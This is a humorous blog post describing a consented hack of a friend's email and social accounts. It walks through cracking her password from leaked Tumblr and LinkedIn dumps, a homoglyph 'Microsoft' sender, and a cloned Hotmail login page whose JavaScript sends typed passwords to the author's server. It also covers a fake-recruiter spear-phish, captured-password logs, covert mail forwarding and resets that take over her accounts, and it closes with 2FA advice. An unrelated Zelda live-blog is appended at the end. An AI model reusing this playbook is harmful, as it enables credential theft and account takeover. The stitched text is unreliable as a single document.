I try to use my ~hacker connections~ to get a copy of the Tumblr database. I meet a someone whose forum handle is like d4rkrayne or whatever in a local park at 11pm. A colossal vape cloud leads me to him, waiting under a tree, puffing furiously. I look down my 1987 mirror-tinted aviators and say "how much?" (my voice comes out several octaves lower and all grizzly like a 40-year-old generic white dude movie star with like, juuust the right amount of stubble). He sells me the database on a pile of 442 floppy disks for 5,000 credits. What a ripoff. I teleport behind him, say "nothin' personal, kid", and hoverboard-kickflip into the night.

...I download the Tumblr database from a publicly accessible, unauthenticated, absolutely non-dark web website. I scramble to get back in my black hoodie, and whip on a second pair of sunglasses over the first. I'm in.

Ancient forbidden password rituals

The Tumblr database dump - a hacking Quest Item - is one long file with lines that look like this:

coolrelateabledude123@gmail.com:3a1920ceb2791d034973c899907847cb58810808

That weird thing after the email is a password hash. A password hash is like a scrambled up version of the password. You can't unscramble it. If you know the password though, you can scramble it and get the same omlette, if ya know what I'm sayin'🍳.

My goal here is to figure out what Diana's actual password is, given that I have her password hash. This process is commonly known as "hacking".

These particular passwords are not just hashed, but also salted8. This means that before each password is hashed, the good folks at Tumblr added an extra bit of text to the end of each one. So instead of hashing, say, cooldad64, they'd hash cooldad64HNc62V8.

Finding the salt

There's no official information on what kind of hashes are in Tumblr.txt.

The fully sick attack I want to do is: hashing a big list of passwords I just happen to have lying around wow and checking if any of the hashes match Diana's password hash. This is called a "dictionary attack", because the person who invented it was actually a dictionary. The trouble is, you need to know the salt to do this.

I google around some more, bask in the glory of very poorly constructed sentences on some ~hacker forums~, and ask my ~hacker connections~ in an attempt to find out what the salt is.

But I can't find it because fun fact I'm a total fraud.

Can I get the password... without the salt?

So remember how Tumblr salted the passwords by sticking some random stuff on the end to thwart wannabees like me?

The trouble is.... They stick the same thing (in my example, HNc62V8) on the end of every password. This isn't considered the best practice here in the year of our lord 2017, because it means that users with the same password have the same password hash. The emails and passwords would look like this:

markjohnson64@email.com:cooldad64HNc62V8 chicago.tony1@email.com:cooldad64HNc62V8 patriotsfan69@email.com:p@triots69HNc62V8 iamsherlocked.ravenclaw@email.com:Bongo1HNc62V8

I search Tumblr.txt for not dianalastname@hotmail.com, but for her password hash. (3a1920ceb2791d034973c899907847cb58810808)

I find more than 20 Tumblr users with the same password as Diana aw yeah

[REDACTED]@email.com:3a1920ceb2791d0... [REDACTED]@email.com:3a1920ceb2791d0… [REDACTED]@email.com:3a1920ceb2791d0… [REDACTED]@email.com:3a1920ceb2791d0…

This makes me think that Diana's password is probably not very unique, since all these other Dr. Who enthusiasts on Tumblr have also thought of it.

But also. Now I've got 20 other email addresses with the same password as Diana. Thanks to the miracle of everyone using the same password for everything, I've got a way to find Diana's password.

I just so happen AGAIN WOW WHATTA GUY to have the LinkedIn database dump from when LinkedIn was 360 whirlwind slam hacked in 20129.

Why do I care about the dump from the LinkedIn hack, you ask, fatigued from many gags and desperate for the part where we actually hack Diana?

LinkedIn also hashed their passwords in 2012, but they didn't add that freshly ground pink Himalayan rock salt to them. Also, the password hashing method they used is cripplingly insecure10 (SHA1 for all you extremely online people out there). Because of these flubs, most (>97%) of the passwords in the LinkedIn dump are available in plain text, not even hashed at all thanks to the hard work and GPU cycle donations of people in the password cracking community.

I get the 20-ish Tumblr emails who have the same Tumblr password as Diana, and look them all up in the LinkedIn dump. They're not all in there, but good enough baybee.

[REDACTED]@email.com:qwerty1 [REDACTED]@email.com:killer6 [REDACTED]@email.com:qwerty1 [REDACTED]@email.com:qwerty1

More than 80% of them have the same LinkedIn password. (Which we will say is qwerty1.)

This has gotta be Diana's password from Tumblr in 2013. Since all these people had the same password on Tumblr, and most of them have the password qwerty1 on LinkedIn, it's very likely that Diana's Tumblr password is qwerty1.

I try to log in to her Hotmail account with the password qwerty1.

"Incorrect password"

Wait please this was supposed to be easy please no why is it like this don't do this to me

Oh come on I was supposed to be hacking a normal person who uses the same password for everything this isn't fAiR. There are entire criminal industries built on the idea that people use the same password all over the place because nobody cares enough to remember more than a few passwords because they've got things to scroll on their phone okay.

Somehow, Diana is one of the rare few people who is not a security expert but has more than one password for her stuff.

I try this password on a few of her other accounts (Facebook, Twitter, iCloud) and it works on none of them11.

On Facebook, I'm conveniently informed that this password was her password 5 months ago, but isn't any more.

Looks like I just missed out. The plot thickens audibly.

This was supposed to be the part where I say "and then I logged into her email 100% stealthily", equip my third consecutive pair of sunglasses, and move on to the next bit. But alas, Diana was only in one leaked password list on haveibeenpwned.com at the time, so there goes that.

Fiiiiiiiiiiine whatever I don't even care I'm not crying, you're crying. Time to do this the old fashioned way. And by "the old fashioned way" I of course mean "the way government hackers do it".

Part 3: Hackinggggg (again)

Social engineering

Alright so we're just going to trick her into telling me her password. Is that cheating? Basically. But absolutely I'm going to do it anyway.

To get into her email, I need to know Diana's email password. Resetting the password won't work (since that would interrupt her life by locking her out of her email). I don't really wanna follow her around, man-in-the-middle attack her phone or laptop when it connects to insecure WiFi and steal her browser session, so that leaves us with: phishing.

You may have heard of "phishing", the process of emailing someone and tricking them into doing something, like giving you their password.

Now, hold up bucko, you're probably thinking of the kind of phish where someone says "good day sir I nigerian prince give you $1 million dollars USD u are royalty 2 me" etc. etc.

Or maybe you're thinking of someone sending an email that says "[heavy breathing] pls clikc on my urls http://click.here.to.get.ripped.in.three.weeks.verylegit.link/6x9M;PjxrY=WrS33n$Hcracked__767windows8+bitcoin.gpg.exe"

But with nothing more than paperclips, chewing gum, a single fidget spinner, and an advanced psychology degree, we can not only steal Diana's password, but do it without Diana realising she's been tricked.

Hand-crafting artisanal phishing emails to sell at the Sunday markets

Let's write down what we want to do:

Get Diana's email password

Don't let her realise that the email is not legit

Hmm I guess there were only two dot points uhh sorry that doesn't seem worth having dot points at all ummmm

So anYwAy the trick to phishing is that you don't want to engage the victim's attention. You want them to interact with your email mindlessly, without thinking it's a big deal. Kinda like how you click through email notifcations from Twitter (or anything that sends you email notifications) without really thinking about the email, because you're thinking about what awaits on the other end.

The other way, rather than distracting the victim, is to misdirect them. You give them something that's way more interesting to pay attention to than your dodgy link. Common examples of this include emails that say "OMG your account has been HACKED, log in here to fix it".

But of course, you log in to a fake website which steals your password.

Wow actually that sounds pretty12 easy13 doesn't it? Let's try that then.

I'll make an email that says "Your Microsoft Account Has Been Hacked And Uh If You Don't Log In Now It Will Get Deleted So Uh Yeah You Better Log In".

Instead of designing my own legit-looking Microsoft email, it's easier to just copy one that Microsoft has already made. I search my hotmail account14 for an automated email from Microsoft.

I use the incredibly cutting edge "Inspect Element" feature of the popular hacking software, Google Chrome, to edit the text of the email but keep the look. As I right click and hover over "Inspect Element", my laptop instantly explodes, I get root access to Microsoft, I'm added 50 times to every NSA watchlist, my text permanently changes to green-on-black, and I'm accepted to DEFCON.

Now it looks like this:

I can't send the email from my email account, because I'm not a total amateur. I use the popular hacking tool The Microsoft Sign Up Screen to make the hotmail account "msftacountteam@outlook.com". If you look closely, "account" is spelled wrong. I used "msft" because it wouldn't let me include the word "microsoft".

I try to register an account with first name "Microsoft" and last name "Account Team". The signup form doesn't let me. Blast. Thwarted by Microsoft lackeys. Probably, Microsoft doesn't let you have "Microsoft" in your account name to prevent, uh, exactly what I'm doing. Hmmm. I don't really want to have a typo in the name, like "Micorsoft", since Diana might notice that.

Instead I, a level 8 Wizard, cast a spell to swap the "o" characters in "Microsoft" for a special unicode character (like an emoji but much worse) that looks exactly like an "o". It's not, of course, it's our old friend, the Greek letter "Omicron". Here's the two pals side-by side:

οo

Awww, just look at 'em having a blast. These little guys might look different in the font your device is using, but in the hotmail web UI font they look juuuust right👌.

So now, my account's name isn't "Microsoft", It's "Micr[omicron]s[omicron]ft", according to the code that checks whether you have a valid name when you sign up for an account.

I'm sure you're wondering how this whole process ends up with me getting Diana's password, laughing manically in my comically giant leather chair. After she clicks the link in my legit looking email, she'll be asked to log in15. The page she goes to will look just like the Hotmail login page, but it will really be a copy that sends the password to me.

How can I make such a page? Well I'll clone the real page, register a domain that looks similar to login.live.com, host my cloned page there, and so on. Juuust kidding, the static website hosting service Aerobatic happens to also be an excellent phishing service.

I can register [anything].aerobatic.io, and deploy my static HTML to that domain with their command line tool for free.

Shout outs to Aerobatic for the smooth smooth phishing UX. Use the referral code DIANA to be immediately reported to the NSA.

I copy the existing login.live.com page, and pre-fill dianalastname@hotmail.com in the "email address" field. I deploy this page extremely trivially to login-live.aerobatic.io, and equip my fourth pair of sunglasses (don't worry I've earned it). This almost looks right, but the real Hotmail login form has a bunch of stuff after the / in the URL, so I copy/paste some of that good stuff too16.

Here's the exact URL, if you're interested. Also if you're not interested. It's gonna be there either way.

https://login-live.aerobatic.io/?passive=1209600&continue=https%3A%2F%2Faccounts.live.com%2FManageAccount&followup=https%3A%2F%2Faccounts.live.com%2FManageAccount&flowName=GlifWebSignIn&flowEntry=ServiceLogin

Perfect17. This looks similar enough to fool a cursory glance, and that's all we need baybee. Maybe she'll think "why do I have to log in again? I'm already logged in to my email?", but the email asks for a "Secure Login" (whatever that is).

Here's what the login page does:

// When the Login button is clicked or Enter is pressed $('#passwordForm').on('submit', function() { var password = $('#password').val(); // Create an image with a URL that points to my website. // The browser will request this URL in an attempt to load the image (which will fail since that URL doesn't exist) $('body').append('<img src="a-website-i-own.com/DIANA?'%20+%20password%20+%20'" alt="image">'); // Wait one second to simulate loading time (adjust to 0.1s if you don't live in Australia sigh), and then go to the real Hotmail login page. // Diana will already be logged in, so this will seem to her exactly like she's just logged in to hotmail. window.setTimeout(function() { window.location = 'login.live.com' }, 1000); return false; }

This works by sending her password to me when she clicks "log in". The password is sent a website of mine. Then I send her along to the real Hotmail, so it looks just liked she logged in. The website logs everything that gets sent to it, so I can then search my logs for "DIANA" to find the log containing the password.

This is all what I'm hoping for, anyway. The email says she has 48 hours to comply to create time pressure. Telling you that you have to do something right now is a common tactic to make you think instinctively and irrationally.

I login to my fake "Microsoft Account Team" hotmail account, send the email to dianalastname@hotmail.com and wait for her to have herself a red-hot browse.

About 12 hours later, I check my logs to see if she's typed her password.

She doesn't.

I wait another 12 hours.

Still nothing.

I send the email again, wincing slightly, this time saying she has 24 hours.

Still nothing.

Well damn

I guess that didn't work. She must have just ignored the email as uninteresting18

I try to think of non-phishing ways to get her password but really phishing is just too good. The nice thing about being the attacker is that you can put your eggs in many baskets. Diana has to defend against all of my eggs, and I've got baskets for days. Time for round 2.

Sniper scope targeted phishing blap blap

I reach under my desk, unwrap a parcel addressed to "DIRECTOR OF CYBER, NSA", slide out a yellow and black canister labelled "CHINA", break open the safety seal, and use safety tongs to extract the following red-hot phish.

This time, instead of using a generic idea that would work on anyone ("suspicious account activity"), we'll make something special just for Diana. Kinda like hand-knitting a beanie, but comparatively less wholesome.

I Google "google docs microsoft equivalent" and come across I dunno SkyDrive or SkyDocs 365 Pro or something or OneDrive look I dunno just look it's Google Docs but Microsoft so good enough for me.

I make a convincing looking resume (in Google Docs, of course) and copy it into a OneSkyCloudDrive 364/2 Days: Final Remix HD+ Doc.

Let's play: who's gonna send this doc to Diana?

I find a local company that's likely to legitimately want to talk to Diana, and search for a recruiter who works there on LinkedIn. I make someone with the same first name, but a different last name as a real recruiter from this company19.

I make a fake gmail account called Kathleen Wheeler, using a stock photo of a middle-aged western woman as the profile photo.

Here's what Kathleen is going to email Diana.

Looks legit riiiight?

The questions at the end are just some garbage I made up, but the point of them is to distract Diana right after she reads the "click here".

I put Diana's real phone number at the end to make it more convincing. This email is obviously meant just for her. It also makes sense for the phone number to be there, since presumably whoever listed Diana as a referee gave the phone number to Kathleen.

At the time she types her password, we want Diana to be thinking of what's on the other side of the login screen.

The delicious bait here is that this email says "someone said they know you", and you have to read the resume to find out who. Aw, but the resume is behind a pesky link. ~Guess you better just click on it~. LinkedIn also does this in their, um, "engagement" emails which say things like "you have 2 new messages", but not who they're from or what they say.

When Diana clicks on the link to the "resume", it will take her to the same fake login page (with her email pre-filled) as before. When she types anything in the password box, the site will wait one second and then send her to the Microsoft Google Doc™. The one-second wait is to simulate Australian internet speeds HAHAHAHAhahahahahah this sucks

She'll find that she doesn't know the person, probably because they're completely made up. They have work experience at real workplaces nearby, and went to the same university as Diana at around the same time, so hopefully their resume passes a cursory glance20.

Finding an unfamiliar resume is a sufficient, but not particularly satisfying conclusion to the adventure of the weird email from Kathleen. But of course, by then it's too late, I'm sitting in my ivory tower surrounded by passwords.

I make sure to send it during business hours, from "Kathleen""", pull a necklace from under my shirt dramatically, kiss it, look up at the sky, and wait.

Waiting

That night, I check my website's logs for any passwords from my fake Hotmail login form.

- - [[date]:16:32:30 +1000] "GET /DIANA?qwerty1 HTTP/1.1" 404 4702 "https://login-live.aerobatic.io/?passive=1209600&continue=https%3A%2F%2Faccounts.live.com%2FManageAccount&followup=http...." "Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Version/10.0 Mobile/14D27 Safari/602.1"

"Got it!"

..... is what I think, at first.

Particularly keen readers will have noticed that the password Diana has typed into my fake Hotmail login page is... the same password as we found for her in the Tumblr database.

This is not her Hotmail password, and everything is terrible.

From this we can draw two conclusions:

Diana doesn't know what her Hotmail password is

She now thinks her hotmail password is qwerty1, since she typed it into my fake login page which accepts any password, and it worked

I almost gave up at this point, but a last-minute burst of desperation/frustration/final destination helped me work up the courage to have another shot here in Act 3.

By this point my fake Microsoft Account Team email account has been soft-banned by the good people at William Gates Inc. for sending so many obvious phishing emails. I have to prove I'm a human and add my phone number to the account, and then it unlocks and I can edit the Microsoft Google Doc.

I hastily make a new fake resume of significantly lower quality than the first one, and make a crucial change to my fake login page.

My fake login page now says "wrong password" no matter what you type in the first two times you try typing something. If you type qwerty1, then the password counter doesn't go up21.

What do people do when they get a "wrong password" error? Try all of the 3 or 4 passwords they use for everything, of course.

I want to try and get Diana to type qwerty1, get a "wrong password" error, and then just unload all her passwords into my form.

Diana replied to my failed email with "sorry I don't know this person", and so Kathleen replies with, "wrong resume lol, here's the new one" even though this makes zero sense in the context of our email exchange. I'm hoping Diana will just be busily checking the email on her phone and not really notice this discrepancy.

I use a different font from the "form" when typing as Kathleen to make it look like this is a form that gets copy/pasted to every candidate. This makes Kathleen seem like she does this all the time in her big bustling, 100% real office. I also do my best to imitate the tone of a polite but stressed out office worker. You can almost hear the office politics. It's called method acting.

Time to stressfully wait for Diana to check for her email again, so now would be a good time to read out some donations.

Hours later

It works.

108.162.249.169 - - [12/May/2017:13:39:43 +1000] "GET /DIANA?wertyu2 HTTP/1.1" 404 4702 "https://docs-login-live.aerobatic.io/?passive=1209600&continue=https%3A%2F%2Faccounts.live.com%2FManageAccount&followup=https%3A%2F%2Faccounts.live.com%2FManageAccount&flowName=GlifWebSignIn&flowEntry=ServiceLogin" "Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Version/10.0 Mobile/14D27 Safari/602.1"

I get only one password from Diana (typed multiple times), but it's different to the last one I got (qwerty1)22.

I wait until she's asleep based on her Facebook Messenger last active time and log into her email using the elite hacking method of typing her password into the box.

The reason I waited until she was asleep was in case Hotmail emailed the account saying "New Sign In". It doesn't, and I'm rewarded with her email inbox screen in its full glory.

Angels sing softly above me. A small yellow bird lands on my shoulder and begins to chirp softly. I get several emails from the bullies in high school - they're really sorry and they've done a lot of soul searching and they want to make it up to me and I should expect premium fruit baskets on my doorstep in the coming months. Global warming halts.

"But that would never work on me"

It would tho.

Perhaps some of you in the audience are thinking "Wow, this Diana person must be pretty dumb to fall for that. Good thing I'm a web browsing prodigy with a colossal brain and many opinions, so that would never happen to me."

The thing is, right now you're very alert, because you're reading a blog post about hacking. If you were just reading your email, half-paying-attention on a train as normal, security wouldn't likely be on your mind. If sending trick emails is good enough for whoever the NSA, are emailing, then it's probably good enough to work on you and me.

I guess what I'm saying here is "don't go shaming phishing victims plz".

Anyway sorry back to haͅck͐i̥n̏g̜

Part 4: HACKER VOICE I'M IN

I immediately try Diana's email password (wertyu2) on her Facebook, Twitter, LinkedIn, iCloud, and on her other email addresses. None of them work because I've chosen someone with slightly above average personal security to target.

The obvious next step is to forward all her email to me (so I don't have to keep logging in to her email). Before I set up email forwarding, I try it out on a hotmail account I control. I'm testing to see if setting up "forward all your email to this address" sets off any notifications I'll have to delete, or notifies you in any other way.

In gmail, when you forward all your mail to another email address, the other address gets emailed a code, and also a big red bar appears on your gmail inbox saying "you're sending literally all of your email to this address FYI" for 7 days.

I type in my email address into my test hotmail account, and click "forward all my mail here pls". It saves. I check both email inboxes for a notification email. There isn't one. I've just backdoored this email account and no fuss has been made whatsoever. OH well at least hotmail has NoMansSkyDrive 2.8 Remastered XL Online or whatever.

An interlude from Diana

Diana replies to my email saying she doesn't know this person either. She's a little suspicious, so I try and say something that will close the conversation.

Diana doesn't reply.

Hey remember how you can search email?

Now that I have Diana's email password, I want to search her email for more passwords, and use those passwords to get more, and so on, like a REAL hacker.

Try going to your email and searching for "password". Betcha there's passwords in there.

In Hotmail, when you go to search something, the last 5 searches you've done pop up as suggestions.

This means that if I search for "password", Diana will notice "password" in the search history. That would be a really lame way to get caught.

To get around this, I: * Wait until Diana is asleep * Write down her last 5 searches * Search for "password" * Look at the results * Search for her last 5 searches again, in reverse order

Since only the last 5 searches are shown, by repeating the searches in reverse order, the search history looks exactly the same.

Much to the disappointment of the live studio audience, I don't find anything particularly useful. I find the two passwords I already know (qwerty1 and wertyu2) several times, and one other password which I again try on all her accounts, but doesn't work </3.

I hang out in Diana's email for several months. Every so often I check it. I find her signing a contract for a job, and so I get her passport number, signature, phone number, bank account number, and basically everything I'd need to impersonate her. I don't really232425 want to impersonate someone's government-issued ID, so I leave this alone.

At one stage, I'm browsing through hit political discourse platform and opinion conveyor belt twitter dot com, and I notice Diana tweet something along the lines of "Finally spent my day off consolidating my 4 email accounts into 1, feels good to be organised".

I panic a little. Have I been found out? I log in to dianalastname@hotmail.com (which still works, thankfully) and see that all her emails have been archived. I poke around in the email forwarding settings, and I see that things have changed. Her email is no longer being sent to my email address, it's being sent to dianalastname42@gmail.com (presumably the new email that Diana now forwards all her mail to).

This raises an important question. How did Diana not notice my email address in the "forward all mail to:" box? Did she see it, and just mindlessly delete it?

(When I interview her after all this, she says yes, that's exactly what she did.)

What now?

Normally it would end here. Mission accomplished. I'm in control of her email. I could cause catastrophic damage to Diana's life if I wanted to (I don't btw). There's potential for endless gags, limitless goofs, unlimited japes, infinte jests, etc.

But.. it seems like an awful shame to just... leave. That's why I start work on a little' somethin' called

Operation Luigi

Everybody just LOVES Mario's green friend Luigi! He's a Certified Good Boy! Just look at that boyish charm.

Why not brighten up YOUR social media presence with this game boy?

Well gee I'm sold after that delightful interlude from our sponsor, The Nintendo. Let's get Diana some uncut, Colombian Luigi.

Step 1: Get in to her Twitter and LinkedIn

So, I want to:

Get access to Diana's Twitter

Not lock Diana out

Not alert Diana that I'm up in her stuff

I could just phish her again for these passwords, but I'm already a salty old fisherman by this point.

Since I have access to her email, I could reset her Twitter password. The problem is, when you reset your Twitter password, you get logged out of Twitter in Chrome, the Twitter app, and anywhere else you might be logged in. So you have to retype your new password. One of my rules was that I wouldn't interrupt Diana's life, so I need her to be able to log back in to Twitter when I force her to log out.

I come up with a simple 8-step plan to do this, with 4 easy repayments of 2 steps.

Wait until Diana is asleep

Disable Diana's email forwarding

Go to Twitter and reset her password

Click the password reset link that gets emailed to her

Set her password to qwerty1

Delete the password reset email

Delete the "New Twitter Sign In" email

Re-enable email forwarding

The combo move in this is setting her password to qwerty1. When I phished her email password, she tried to log in to her email with qwerty1 even though that's not her password. This tells me that she thinks her password for everything is qwerty1, or at least, that's what she'll try if she's not sure. The technical term for this is next-level mindgames💻💻💻.

I do the steps above, and I'm now logged in to Diana's Twitter account. I tigheten up her Twitter security settings because I'm a Good Boy. I HOPE that Diana will be able to log back in as well, and not wonder why she suddenly got logged out. I wait stressfully for her to tweet something, and after a day or so she retweets a cute doggo, so we're good to go.

Now I want to do the same thing on popular dating website LinkedIn. This will involve signing Diana out of LinkedIn on all her devices, and I don't want her to get too suspicious, so I wait a week. I do the same process as with Twitter. This time I don't even wait until Diana is asleep, because I'm young and invincible.

As I'm setting Diana's password on LinkedIn back to qwerty1, LinkedIn doesn't let me.

Is this because qwerty1 was a password present in the LinkedIn hack in 2012? Or because it's just a common password? For a brief moment I panic, but then I realise I can just set Diana's password to her email password, wertyu2.

Astute readers will have noticed this little guy in the screenshot above.

LinkedIn is asking me if I'd like to log out of Diana's LinkedIn account on all devices while I'm resetting the password. That's REAL nice of you to offer old mate LinkedIn but I'm absolutely golden as it is in terms of logouts so don't even worry about it I'll be just fine how it is NO REALLY don't trouble yourself, I'm sure your CPU cycles are busy displaying everyone's 6000 word Thinkpieces about "Cyber" for "Non-technical Business Decision Makers".

Yeah so I submit that form 100% checkbox-free, and Diana remains logged in to LinkedIn on all her devices, none the wiser.

Step 2: Bring in the green boys

I enlist the help of a talented friend to photoshop everyone's #1 boy next door Luigi subtly into Diana's profile picture on Twitter, like a green guardian angel.

I can't show you Diana's pictures, so here's me doing similar photoshops to Your Boy And Mine, Five Time Celebrity MasterChef Winner And The Inventor of Bitcoin, Give It Up For Dr. Barack Obama Everybody:

At about this time I tweet about our sweet green boy so that if Diana sees her guardian angel Luigi, she'll know it was me. This is like my calling card except.... well it's not really like a calling card it's pretty dorky to be honest but just LOOK at that wholesome lad, you just KNOW he'd help you fix a flat tyre, and he'd just be too gosh darn polite to correct you if you said "thanks green mario" so really if you think about it I guess it IS like a calling card.

Next up I log into her LinkedIn account, get overwhelmed by her 15 LinkedIn notifications, 7 new profile views, 11 new Key People To Bother, and several pop ups telling me about new features I can use to invite people to join my professional network on LinkedIn™®©. Then I change her profile picture to my really good version.

For about a week, Diana continues her Twitter and LinkedIn(?) usage whilst being silently Luigi'd. Diana goes on viewing what I can only assume to be the sharpest international political discourse on Twitter, and getting slightly more LinkedIn profile views from observant recruiters who are also fans of the hit 2001 ghostbusting game, Luigi's Mansion.

Well that just about wraps up Operation Luigi. Glad that's all done and dusted.

Although...

I'm basically a Luigi technician at this point, and it would be a shame to let all that work go to waste. So let's just do

~one more thing~

Operation Waluigi: A dark turn for mature audiences

Waluigi, true to his character, is much more direct.

Damn RIGHT this new profile strength is "Advanced."

Please enjoy these half-baked opsec-enabled26 tweets27.

I also make Diana follow a bunch of Waluigi fan accounts (there are a lot), Nintendo of America, and @EmojiAquarium because it's a damn good account.

Part 5: Epilogue

Diana likes her new Waluigi life so much she keeps it all up there, and even changes her Facebook photo to a Waluigi'd one.

I meet up with her and ask her about her side of the story a few days later.

Here are some choice quotes:

"I've since listened to a lot of Waluigi songs" "Waluigi is the ultimate symbol of postmodernism, he exists only as a foil"

I ask her "How do you think I did it?". She says I must have hacked her email and reset her Twitter password, but she has no idea how I hacked her email.

When I show her the email chain with Kathleen on my computer her jaw drops for several seconds.

"You catfished me!"

We go back to the same ramen place after the interview. The credits roll.

"wait but i am very afraid after reading this blog post, how do I not get 360 noscope hacked like diana tho"

Hey kids, it's me, "Alex". We've had a lot of fun today, but now it's time to talk about the real issues. The moral of this story is that it's really easy for someone else to know your password. Fret not, for you are young and extremely online, and it's not too late for you yet.

Step 1: Go to https://haveibeenpwned.com and type in your email address. This doesn't actually do anything, it's just to instill sufficient fear in you.

Step 228: Go to your email and enable "Two-step Authentication". You can go to https://www.google.com.au/landing/2step if you use gmail. If you use Hotmail then I dunno, there's probably like a SkyCloud 360 X LIVE subscription you can buy that lets you do it.

Now, as well as your email password, you also type in a code from an app on your phone. Or you can have the code SMSed to you on your pastel-pink flip phone if you wanna relive the 90s29.

If Diana had Verified Good Content Two-step Authentication turned on, then I would have had to get a two-factor code AND her password. I would have had to either:

Phish the code as well as the password (but the code expires in less than 60 seconds)

Physically go to the same place as her, connect to the same WiFi, and steal her browser session

Email her a Word Doc with a macro in it that gives me control of her laptop, and steal her browser cookies from it

Call up her phone provider and trick them into pointing her phone number at my SIM card

All of these are more work and higher risk, and so hackers often just move on to lower hanging fruit. That's you in this situation. You're the delicious fruit. And the hackers are.... giraffes? Yeah. Watch out for giraffes.

Freshly baked shoutouts to My Absolute Homeslices for being my blog-review senpais, Diana for being chill, and to the hacking software released at DEFCON 25: Aerobatic dot io

If you want to talk to me about this, hit me up in the tweet zone (@mangopdf) or direct your browser to mango.pdf.zone

A careless mistake ↩︎

Obviously the best way is to not give permission to meeeeeeeee😎 ↩︎

I found her LinkedIn by just googling her name #pwned ↩︎

wait did he just say "hacker voice I'm in"? ↩︎

I haven't realised yet that successfully resetting Diana's iCloud password would lock her out of her account and violate our agreement. This is because I'm a weapons-grade bozo. ↩︎

On haveibeenpwned.com, Diana's email address shows up in a data dump from this website. It's a game of some sort? ↩︎

Later when I interview Diana, she says "I use exclusively Google Docs", so I was right! No comment about the avocado thing. ↩︎

I'm not making these up, these are real words that real hackers use I swear. ↩︎

Diana didn't have LinkedIn in 2012, so she's not in the list. But some of the 20 people who had the same password as her sure did. ↩︎

tag urself lol ↩︎

I also try guessing what her password could be based on the password I already have for her (qwerty1) but it doesn't work. ↩︎

low ↩︎

effort ↩︎

From 2002 do NOT @ me ↩︎

This makes no sense, since she'll be reading her Hotmail, and then asked to log in to the same thing she's already reading, but NON-fake websites have bad enough UX that this is believable. ↩︎

I steal all that good stuff after the URL from the Google sign-in page ;>_> ↩︎

Awkwardly, Hotmail changed its login screen shortly before this blog post came out. It used to look like that I swear. ↩︎

There are a few reasons this email wasn't attention grabbing. It was automated, from a company (not an actual human), and wasn't specifically about her, but about her account. ↩︎

When I interview her later, Diana says she looked up the company! She even says that getting back to Kathleen was on her to-do list, the poor thing. ↩︎

Months later, I notice I've left a "Lorem ipsum dolor sit amet, consectetur adipiscing elit" as a dot point on the resume. ↩︎

This is a genius suggestion from one of my ~hacker connections~. ↩︎

At this point Diana has been completely gaslighted as to what her hotmail password is, because my phishing site said the wrong password was right, and then said the right password was wrong, and she thinks it's the real Hotmail. ↩︎

I mean it WOULD be pretty funny ↩︎

And wow you could do anything, book flights, get a job, change your name... ↩︎

Just letting any Government Agents reading this know that I did NOT end up doing anything with this and I love democracy. ↩︎

If you really tried you could probably find Diana's Twitter from these. You would then be a hacking genius, binary flowing through your veins, and have a CVE number assigned to your personally. I, a humble wannabee, am relying on your strict ethics to prevent you from, uh, stalking the friend of some guy whose blog post you read. You can do it. I believe in you. ↩︎

Having said that, I don't really have an overwhelming amount of faith in the idea that someone won't try to do that. You can stay chilled out, dear reader, since before this blog was published Diana and I had a nice chat and fixed up her personal security. ↩︎

Password managers like LastPass are also good for giving you unique passwords, but I reckon 2FA is the best effort:security ratio value For Normal People Tee Em. ↩︎

But, this is less secure, since your phone number can still be hijacked. ↩︎

[thegeminisage]

More Zeldablogging

this game keeps on giving i am So Blessed

spoilers for the first section of the champions ballad DLC beyond

so when you turn on the game zelda speaks to you and whenever she speaks to you im normally filled with awe? but i had on the Dumbest lookin outfit

BACK TO THE SHRINE OF RESURRECTION

oh my god what the SHIT is that??

IS THAT A WEAPON

it looks like midna's head

smh my weapon stash if full lmao

the game is judging me. 

OH GOD IM DYING IS IT GONNA KILL ME

oh

oh my GOD

i'll die in ONE HIT? i also one-hit KO everybody else but.

i mean. thats it for me i cant do this lmao

time for stealth mode i am straight up ghosting this bitch

i...can't see the enemies. like i'm at the dot but

OH

BAD. WALKED RIGHT INTO A CAMP FULL OF THEM. BAD BAD

stressful

ok so this thing days it charges twice over a certain period of time and im like seriously i can only use it twice every few hours? but no it's like nearly instant so thats better

i'm still in the middle of a camp but the lost woods fog is going on so i can't fucking see shit, also in the afternoon the setting sun makes it hard to see my tv lol

got up to a high point to look around because i've been playing too much dishonored. was immediately spotted and nearly killed. i'm not kidding the arrow missed me by a fucking INCH

most of this combat consists of me running from the enemies and then spamming attack while panicking and praying that i hit them once they become unavoidable

ic annot find the last enemy. did i get them all. the dot is still there

ok i'm just gonna move on to a new dot

LIZALFOS I HATE LIZALFOS

maybe i can snipe them

hey i'm a dumbfuck maybe i can use my MAGIC MASK THAT MAKES ENEMIES NOT ATTACK ME

aaaaand i'm dead. got over confident

i saw bees and explsive barrels and rocks. i can do this. i can

ah i missed having to take enemy camps out via strategy :')

new idea: snipe them from afar with bomb arrows i have like 70

BAD BAD BAD I WOKE UP A GUARDIAN WHY IS THERE A GUARDIAN HERE??????

ok hid from the guardian, it deactivated, never going over there again, bye

i got like nearly all of them and then got the bright idea to throw a barrel, got too close, and died :)

:))))))

ah, i can't push the boulders, they hear me ):

death count: 983745693845

lmao i HATE lizalfos like they DO NOT stand still long enough for you to hit them with anything, even the OP one-hit KO weapon :)))))))))))))

killed myself with a bomb arrow lol

i can't get close and i can't do it from far away the arrows dont take enough health so like...hwat the fuck even

WHOA i finally did it and there's like a supershrine thing??? does that mean i missed a bokoblin????

im gonna go back before i do the shrine that is like. profoundly unfair

i wandered all over there lookin for the last one

YEAHAHAH i found it it was hiding waaay up there

ok, into the first shrine

do i seriously have to dodge all these spiky balls with A QUARTER OF A HEART.....

THE SHRINE BALLS ARE SO FAST HOW DOES THIS PIDDLY LITTLE CUP CATCH THEM

ok ok ok

the good news is i can use magnesis on the spiky balls and get those lil shits out of circulation

THEY FUCKING MADE A BREAK FOR IT

THEY KEPT ROLLING TO THE EDGE

i had to like, put them in the little dip top get them to hold still!!! those CVHEATING BASATDRS

WOW I FINALLY GOT THE FIRST BALL AND GOT HIT ON MY WAY BACK

the normal balls hurt too ;_;

oh i got the big one in!

ooh there's a ledgeand a ladder i can get Closer

tried to jump down to the ledge, immediately died

good thing i saved first lmao

IT DIDN'T SAVE MY SHRINE PROGRESS??

im. im.

oh my god

this GAME

ok

oh my god FINALLY

that was HORRIBLE

i got...a spirit orb! huh

